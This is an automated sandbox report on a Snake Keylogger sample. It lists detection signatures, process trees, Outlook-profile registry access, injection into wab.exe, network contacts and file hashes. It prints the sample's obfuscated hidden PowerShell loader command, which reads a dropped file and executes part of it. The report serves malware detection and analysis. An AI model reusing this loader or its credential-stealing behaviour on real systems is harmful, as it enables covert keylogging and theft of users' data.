Malware Analysis Report

2024-10-18 23:16

Sample ID 240710-c3j2astdph
Target f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe
SHA256 f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0
Tags
snakekeylogger collection execution keylogger stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0

Threat Level: Known bad

The file f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe was found to be: Known bad.

Malicious Activity Summary

snakekeylogger collection execution keylogger stealer

Snake Keylogger

Snake Keylogger payload

Command and Scripting Interpreter: PowerShell

Looks up external IP address via web service

Legitimate hosting services abused for malware hosting/C2

Accesses Microsoft Outlook profiles

Suspicious use of NtCreateThreadExHideFromDebugger

Suspicious use of SetThreadContext

Suspicious use of NtSetInformationThreadHideFromDebugger

Enumerates physical storage devices

Program crash

NSIS installer

outlook_win_path

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

outlook_office_path

Suspicious behavior: MapViewOfSection

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-10 02:36

Signatures

NSIS installer

installer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-10 02:36

Reported

2024-07-10 02:38

Platform

win7-20240708-en

Max time kernel

119s

Max time network

121s

Command Line

"C:\Users\Admin\AppData\Local\Temp\f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe"

Signatures

Snake Keylogger

stealer keylogger snakekeylogger

Snake Keylogger payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Program Files (x86)\windows mail\wab.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Program Files (x86)\windows mail\wab.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Program Files (x86)\windows mail\wab.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A checkip.dyndns.org N/A N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2540 set thread context of 2720 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe

Enumerates physical storage devices

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2052 wrote to memory of 2540 N/A C:\Users\Admin\AppData\Local\Temp\f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2052 wrote to memory of 2540 N/A C:\Users\Admin\AppData\Local\Temp\f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2052 wrote to memory of 2540 N/A C:\Users\Admin\AppData\Local\Temp\f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2052 wrote to memory of 2540 N/A C:\Users\Admin\AppData\Local\Temp\f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2540 wrote to memory of 2720 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2540 wrote to memory of 2720 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2540 wrote to memory of 2720 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2540 wrote to memory of 2720 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2540 wrote to memory of 2720 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2540 wrote to memory of 2720 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Program Files (x86)\windows mail\wab.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Program Files (x86)\windows mail\wab.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe

"C:\Users\Admin\AppData\Local\Temp\f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle hidden "$Forsvrgelsen=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Sperlingkasserne.Gla';$Decubitus=$Forsvrgelsen.SubString(65564,3);.$Decubitus($Forsvrgelsen)"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 drive.google.com udp
GB 172.217.16.238:443 drive.google.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 216.58.201.99:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
GB 216.58.201.99:80 o.pki.goog tcp
US 8.8.8.8:53 drive.usercontent.google.com udp
GB 216.58.201.97:443 drive.usercontent.google.com tcp
US 8.8.8.8:53 checkip.dyndns.org udp
JP 132.226.8.169:80 checkip.dyndns.org tcp
US 8.8.8.8:53 reallyfreegeoip.org udp
US 172.67.177.134:443 reallyfreegeoip.org tcp

Files

memory/2540-11-0x0000000073611000-0x0000000073612000-memory.dmp

memory/2540-12-0x0000000073610000-0x0000000073BBB000-memory.dmp

memory/2540-14-0x0000000073610000-0x0000000073BBB000-memory.dmp

memory/2540-13-0x0000000073610000-0x0000000073BBB000-memory.dmp

memory/2540-15-0x0000000073610000-0x0000000073BBB000-memory.dmp

C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Sperlingkasserne.Gla

MD5 c9035c38abb2f8b3e1255a2320926c2b
SHA1 29ee2663a1f9e8c907791957558b79dff166413c
SHA256 92eca1cfe870c436907085d7d2d85ea69c5596d456a98224937d631cfaf4adc6
SHA512 9b1f7655ec40cd92a873547bf7b8b03de824ee53bf2cbd516ec245e3cbc385e6659ce61ce5c94c1460877d697a42fbf1ee65db3abed1474c7aeec233208e89f7

memory/2540-18-0x0000000073610000-0x0000000073BBB000-memory.dmp

C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Presenile.Tel

MD5 67bfad28d1127c53a9aac5c51b3b77b8
SHA1 896af109b830f91baa527847b2cf968cba28b771
SHA256 38c27304ea5dcdcdbf5214a38989559b4f2feb79b73d680ec96cf2e9e220225d
SHA512 8eb928e4731dda023c4b253539cd5e6246bcdc2bdbbe74e2f745f129c829a64b04c7d746630eb66a504b417332ea42b6d9bfd987f4704cb51660750fbe467b8b

memory/2540-20-0x0000000073610000-0x0000000073BBB000-memory.dmp

memory/2540-21-0x00000000065C0000-0x000000000749B000-memory.dmp

memory/2540-22-0x0000000073610000-0x0000000073BBB000-memory.dmp

memory/2720-42-0x0000000000500000-0x0000000001562000-memory.dmp

memory/2720-43-0x0000000000500000-0x0000000000526000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-10 02:36

Reported

2024-07-10 02:38

Platform

win10v2004-20240709-en

Max time kernel

149s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe

"C:\Users\Admin\AppData\Local\Temp\f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle hidden "$Forsvrgelsen=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Sperlingkasserne.Gla';$Decubitus=$Forsvrgelsen.SubString(65564,3);.$Decubitus($Forsvrgelsen)"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1204 -ip 1204

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1204 -s 2268

Network

Country Destination Domain Proto
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 udp

Files

memory/1204-9-0x00000000738FE000-0x00000000738FF000-memory.dmp

memory/1204-10-0x00000000024F0000-0x0000000002526000-memory.dmp

memory/1204-11-0x0000000004CF0000-0x0000000005318000-memory.dmp

memory/1204-12-0x00000000738F0000-0x00000000740A0000-memory.dmp

memory/1204-13-0x00000000738F0000-0x00000000740A0000-memory.dmp

memory/1204-14-0x0000000005350000-0x0000000005372000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uqpcfseo.a5g.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1204-17-0x00000000054D0000-0x0000000005536000-memory.dmp

memory/1204-15-0x00000000053F0000-0x0000000005456000-memory.dmp

memory/1204-26-0x0000000005580000-0x00000000058D4000-memory.dmp

memory/1204-27-0x0000000005B40000-0x0000000005B5E000-memory.dmp

memory/1204-28-0x0000000006150000-0x000000000619C000-memory.dmp

memory/1204-29-0x0000000006B50000-0x0000000006BE6000-memory.dmp

memory/1204-30-0x0000000006010000-0x000000000602A000-memory.dmp

memory/1204-31-0x0000000006060000-0x0000000006082000-memory.dmp

memory/1204-32-0x00000000071A0000-0x0000000007744000-memory.dmp

C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Sperlingkasserne.Gla

MD5 c9035c38abb2f8b3e1255a2320926c2b
SHA1 29ee2663a1f9e8c907791957558b79dff166413c
SHA256 92eca1cfe870c436907085d7d2d85ea69c5596d456a98224937d631cfaf4adc6
SHA512 9b1f7655ec40cd92a873547bf7b8b03de824ee53bf2cbd516ec245e3cbc385e6659ce61ce5c94c1460877d697a42fbf1ee65db3abed1474c7aeec233208e89f7

memory/1204-34-0x0000000007DD0000-0x000000000844A000-memory.dmp

memory/1204-36-0x00000000738F0000-0x00000000740A0000-memory.dmp